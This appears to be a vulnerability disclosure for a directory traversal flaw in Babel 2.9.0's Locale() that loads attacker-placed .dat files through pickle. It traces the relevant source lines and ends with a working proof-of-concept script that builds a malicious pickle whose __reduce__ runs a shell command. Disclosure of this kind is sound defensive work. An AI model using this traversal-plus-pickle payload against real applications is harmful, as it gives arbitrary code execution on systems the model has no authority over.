Babel 2.9.0 contains a directory traversal flaw that can be exploited to load arbitrary locale .dat files, which contain serialized Python objects. If an attacker can cause Babel.Locale() to load a crafted .dat file on disk, arbitrary code execution can be achieved via deserialization within the context of the running process.
The path to a locale file can be specified such that a locale file is loaded from outside the locale-data directory (e.g. ../../). Essentially this would allow
for unapproved locale files to be loaded.
When the Locale() constructor is called, it will populate the language, territory, script, variant as specified.
It then checks to see if the locale's identifier exists:
core.py:
166 identifier = str(self)
167 if not localedata.exists(identifier):
168 raise UnknownLocaleError(identifier)
identifier is ultimately populated via the return value of get_locale_identifer():
core.py:
357 def __str__(self):
358 return get_locale_identifier((self.language, self.territory,
359 self.script, self.variant))
So if we pass 'en' as the language, the identifier ends up being 'en' as well, as can be demonstrated by calling __str__():
>>> locale = babel.Locale('en')
>>> str(locale)
'en'
As shown above, the localedata.exists() method is called to ensure that the locale exists:
core.py:
167 if not localedata.exists(identifier):
If the name is not in the cache, it'll check to see if "{name}.dat" exists in _dirname, where _dirname equals:
localedata.py:
24 _dirname = os.path.join(os.path.dirname(__file__), 'locale-data')
This ends up being in the site-packages directory:
>>> print(babel.localedata._dirname)
/home/ubuntu/.local/lib/python3.8/site-packages/babel/locale-data
Now we get to issue. A file system path containing leading '../../' can be used to load .dat files outside the intended locale-data directory.
>>> locale = babel.Locale("../../../../../../../../no_exist")
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "/home/ubuntu/.local/lib/python3.8/site-packages/babel/core.py", line 168, in __init__
raise UnknownLocaleError(identifier)
babel.core.UnknownLocaleError: unknown locale '../../../../../../../../no_exist'
In the above case, there is no .dat file at the root of the file system. However, if we copy the es.dat file to /tmp/en.dat...
$ cp ~/.local/lib/python3.8/site-packages/babel/locale-data/es.dat /tmp/en.dat
>>> locale = babel.Locale("../../../../../../../../../../tmp/en")
>>> locale.territories['US']
'Estados Unidos'
You can see that the /tmp/en.dat file was indeed loaded, with a Spanish translation for United States.
As we've seen above, arbitrary Locale files can be loaded from the file system. Let's go a bit deeper.
When a property of a Locale object is accessed, the Locale .dat file is ultimately deserialized using the pickle.load() method. If an attacker were to
craft a malicious .dat file using the Python pickle module and cause it to be loaded, arbitrary code execution can be achieved.
To elaborate, when a property of a Locale object is accessed... For example:
>>> locale.territories['US']
The localedata.load() method is called with the locale identifier as an argument.
core.py:
361 @property
362 def _data(self):
363 if self.__data is None:
364 self.__data = localedata.LocaleDataDict(localedata.load(str(self)))
365 return self.__data
Ultimately, this leads to the deserialization of the specified locale in the localedata.load() method.
localedata.py:
122 filename = os.path.join(_dirname, '%s.dat' % name)
123 with open(filename, 'rb') as fileobj:
124 if name != 'root' and merge_inherited:
125 merge(data, pickle.load(fileobj))
126 else:
127 data = pickle.load(fileobj)
Proof of Concept
To demonstrate an arbitrary code execution scenario, run the following Python code. The code will first create a malicious .dat file by pickling
a class object. When the object is deserialized by Babel, it will run the UNIX 'id' shell command. Notice in the output that the result of the id command
is displayed.
babel_id_exploit.py:
import pickle
import subprocess
import babel
class RunCommand(object):
def __reduce__(self):
return (subprocess.call, (('id',),))
# write .dat extension for babel
with open("/tmp/evil.dat", "wb") as output_file:
pickle.dump(RunCommand(), output_file)
output_file.close()
print("Created /tmp/evil.dat")
# similar usage of Locale constructor as seen at http://babel.pocoo.org/en/latest/locale.html#the-locale-class
language = '../../../../../../../../../../tmp/evil'
locale = babel.Locale(language)
print ("Loaded Locale with language '" + language + "'")
locale.territories['US']
print ("Accessed territories")
Output:
$ python3 babel_id_exploit.py
Created /tmp/evil.dat
Loaded Locale with language '../../../../../../../../../../tmp/evil'
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),118(lxd)
Traceback (most recent call last):
File "babel_id_exploit.py", line 22, in <module>
locale.territories['US']
File "/home/ubuntu/.local/lib/python3.8/site-packages/babel/core.py", line 506, in territories
return self._data['territories']
File "/home/ubuntu/.local/lib/python3.8/site-packages/babel/core.py", line 364, in _data
self.__data = localedata.LocaleDataDict(localedata.load(str(self)))
File "/home/ubuntu/.local/lib/python3.8/site-packages/babel/localedata.py", line 125, in load
merge(data, pickle.load(fileobj))
File "/home/ubuntu/.local/lib/python3.8/site-packages/babel/localedata.py", line 146, in merge
for key, val2 in dict2.items():
AttributeError: 'int' object has no attribute 'items'